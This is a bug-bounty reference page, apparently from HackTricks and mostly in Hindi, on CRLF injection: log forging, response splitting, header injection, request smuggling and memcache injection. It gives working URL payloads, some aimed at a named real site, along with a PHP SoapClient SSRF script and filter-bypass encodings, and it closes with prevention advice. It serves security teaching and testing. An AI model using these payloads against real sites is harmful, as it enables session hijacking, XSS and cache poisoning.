CRLF (%0D%0A) Injection

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Register - IntigritiRegister - Intigriti

CRLF

Carriage Return (CR) और Line Feed (LF), जिसे मिलाकर CRLF कहा जाता है, HTTP प्रोटोकॉल में एक विशेष वर्ण अनुक्रम हैं जो एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाते हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं।

CRLF Injection Vulnerability

CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता को गलत तरीके से यह समझाने के लिए प्रेरित करती है कि सम्मिलित अनुक्रम एक प्रतिक्रिया के अंत और दूसरी की शुरुआत है। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं होते, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है।

Example: CRLF Injection in a Log File

Example from here

एक लॉग फ़ाइल पर विचार करें जो एक प्रशासन पैनल में है और जिसका प्रारूप है: IP - Time - Visited Path। एक सामान्य प्रविष्टि इस प्रकार दिख सकती है:

123.123.123.123 - 08:15 - /index.php?page=home

एक हमलावर CRLF इंजेक्शन का उपयोग करके इस लॉग में हेरफेर कर सकता है। HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करके, हमलावर आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को तैयार कर सकता है। उदाहरण के लिए, एक इंजेक्ट की गई अनुक्रम लॉग प्रविष्टि को इस प्रकार बदल सकती है:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

यहाँ, %0d और %0a CR और LF के URL-कोडित रूपों का प्रतिनिधित्व करते हैं। हमले के बाद, लॉग भ्रामक रूप से प्रदर्शित करेगा:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

The attacker thus cloaks their malicious activities by making it appear as if the localhost (an entity typically trusted within the server environment) performed the actions. The server interprets the part of the query starting with %0d%0a as a single parameter, while the restrictedaction parameter is parsed as another, separate input. The manipulated query effectively mimics a legitimate administrative command: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Description

HTTP Response Splitting एक सुरक्षा कमजोरी है जो तब उत्पन्न होती है जब एक हमलावर HTTP प्रतिक्रियाओं की संरचना का लाभ उठाता है। यह संरचना हेडर को शरीर से अलग करती है एक विशेष वर्ण अनुक्रम का उपयोग करके, Carriage Return (CR) के बाद Line Feed (LF), जिसे सामूहिक रूप से CRLF कहा जाता है। यदि एक हमलावर प्रतिक्रिया हेडर में CRLF अनुक्रम डालने में सफल होता है, तो वे प्रभावी रूप से बाद की प्रतिक्रिया सामग्री को हेरफेर कर सकते हैं। इस प्रकार की हेरफेर गंभीर सुरक्षा समस्याओं का कारण बन सकती है, विशेष रूप से Cross-site Scripting (XSS)।

XSS through HTTP Response Splitting

1. एप्लिकेशन एक कस्टम हेडर सेट करता है जैसे: X-Custom-Header: UserInput

2. एप्लिकेशन UserInput के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी वाले परिदृश्यों में, एक हमलावर एक पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल होता है, उसके बाद दुर्भावनापूर्ण सामग्री होती है।

3. एक हमलावर एक विशेष रूप से तैयार की गई 'user_input' के साथ एक URL तैयार करता है: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• इस URL में, %0d%0a%0d%0a CRLFCRLF का URL-encoded रूप है। यह सर्वर को CRLF अनुक्रम डालने के लिए धोखा देता है, जिससे सर्वर बाद के भाग को प्रतिक्रिया शरीर के रूप में मानता है।

1. सर्वर हमलावर के इनपुट को प्रतिक्रिया हेडर में दर्शाता है, जिससे एक अनपेक्षित प्रतिक्रिया संरचना उत्पन्न होती है जहां दुर्भावनापूर्ण स्क्रिप्ट को ब्राउज़र द्वारा प्रतिक्रिया शरीर के भाग के रूप में व्याख्यायित किया जाता है।

An example of HTTP Response Splitting leading to Redirect

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser to:

/%0d%0aLocation:%20http://myweb.com

और सर्वर हेडर के साथ प्रतिक्रिया करता है:

Location: http://myweb.com

अन्य उदाहरण: (से https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Path

आप URL पथ के अंदर पेलोड भेज सकते हैं ताकि सर्वर से प्रतिक्रिया को नियंत्रित किया जा सके (उदाहरण यहां):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

bugbounty-cheatsheet/crlf.md at master · EdOverflow/bugbounty-cheatsheetGitHub

HTTP Header Injection

HTTP Header Injection, अक्सर CRLF (Carriage Return and Line Feed) इंजेक्शन के माध्यम से शोषित किया जाता है, हमलावरों को HTTP हेडर डालने की अनुमति देता है। यह XSS (Cross-Site Scripting) फ़िल्टर या SOP (Same-Origin Policy) जैसे सुरक्षा तंत्रों को कमजोर कर सकता है, जिससे संवेदनशील डेटा, जैसे CSRF टोकन, तक अनधिकृत पहुंच या कुकी प्लांटिंग के माध्यम से उपयोगकर्ता सत्रों में हेरफेर हो सकता है।

Exploiting CORS via HTTP Header Injection

एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, संभावित रूप से संरक्षित डेटा तक पहुंच प्राप्त करता है।

SSRF and HTTP Request Injection via CRLF

CRLF इंजेक्शन का उपयोग एक पूरी तरह से नई HTTP अनुरोध बनाने और इंजेक्ट करने के लिए किया जा सकता है। इसका एक उल्लेखनीय उदाहरण PHP के SoapClient क्लास में है, विशेष रूप से user_agent पैरामीटर के भीतर। इस पैरामीटर में हेरफेर करके, एक हमलावर अतिरिक्त हेडर और बॉडी सामग्री डाल सकता है, या यहां तक कि पूरी तरह से एक नया HTTP अनुरोध इंजेक्ट कर सकता है। नीचे इस शोषण को प्रदर्शित करने वाला एक PHP उदाहरण है:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए मूल स्रोत की जांच करें.

आप आवश्यक हेडर इंजेक्ट कर सकते हैं ताकि बैक-एंड कनेक्शन को खुला रखे प्रारंभिक अनुरोध का उत्तर देने के बाद:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Afterward, a second request can be specified. This scenario typically involves HTTP request smuggling, एक तकनीक जहां सर्वर द्वारा इंजेक्शन के बाद जोड़े गए अतिरिक्त हेडर या बॉडी तत्व विभिन्न सुरक्षा शोषणों का कारण बन सकते हैं।

Exploitation:

1. Malicious Prefix Injection: यह विधि अगले उपयोगकर्ता के अनुरोध या एक वेब कैश को एक दुर्भावनापूर्ण उपसर्ग निर्दिष्ट करके विषाक्त करने में शामिल है। इसका एक उदाहरण है:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

1. Crafting a Prefix for Response Queue Poisoning: यह दृष्टिकोण एक उपसर्ग बनाने में शामिल है जो, जब पीछे के बेकार के साथ मिलाया जाता है, एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार विषाक्तता को ट्रिगर कर सकता है। इसका एक उदाहरण है:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcache एक की-मान भंडार है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है। अधिक जानकारी के लिए:

पूर्ण जानकारी के लिए पढ़ें मूल लेख

यदि एक प्लेटफ़ॉर्म HTTP अनुरोध से डेटा ले रहा है और इसे साफ किए बिना उपयोग कर रहा है ताकि memcache सर्वर पर अनुरोध किए जा सकें, तो एक हमलावर इस व्यवहार का दुरुपयोग करके नए memcache आदेशों को इंजेक्ट कर सकता है।

उदाहरण के लिए, मूल खोजी गई भेद्यता में, कैश कुंजी का उपयोग एक उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने memcache आदेशों को इंजेक्ट करने में सक्षम थे जो कैश को विषाक्त करते थे ताकि पीड़ितों के विवरण (उपयोगकर्ता नाम और पासवर्ड शामिल) हमलावर सर्वरों को भेजे जा सकें:

इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे memcache प्रतिक्रियाओं को असंक्रोनाइज़ कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को ज्ञात नहीं थे:

How to Prevent CRLF / HTTP Header Injections in Web Applications

CRLF (Carriage Return and Line Feed) या HTTP हेडर इंजेक्शन के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है:

1. Response Headers में सीधे उपयोगकर्ता इनपुट से बचें: सबसे सुरक्षित दृष्टिकोण यह है कि उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सीधे प्रतिक्रिया हेडर में शामिल करने से बचें।

2. विशेष वर्णों को एन्कोड करें: यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, तो सुनिश्चित करें कि CR (Carriage Return) और LF (Line Feed) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करें। यह प्रथा CRLF इंजेक्शन की संभावना को रोकती है।

3. प्रोग्रामिंग भाषा को अपडेट करें: अपने वेब अनुप्रयोगों में उपयोग की जाने वाली प्रोग्रामिंग भाषा को नियमित रूप से नवीनतम संस्करण में अपडेट करें। एक ऐसे संस्करण का चयन करें जो HTTP हेडर सेट करने वाले फ़ंक्शनों के भीतर CR और LF वर्णों के इंजेक्शन की अनुमति नहीं देता है।

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Automatic Tools

• https://github.com/Raghavd3v/CRLFsuite

• https://github.com/dwisiswant0/crlfuzz

Brute-Force Detection List

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

References

• https://www.invicti.com/blog/web-security/crlf-http-header/

• https://www.acunetix.com/websitesecurity/crlf-injection/

• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning

• https://www.netsparker.com/blog/web-security/crlf-http-header/

Bug bounty tip: साइन अप करें Intigriti के लिए, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही https://go.intigriti.com/hacktricks पर हमारे साथ जुड़ें, और $100,000 तक के बाउंटी कमाना शुरू करें!

Register - IntigritiRegister - Intigriti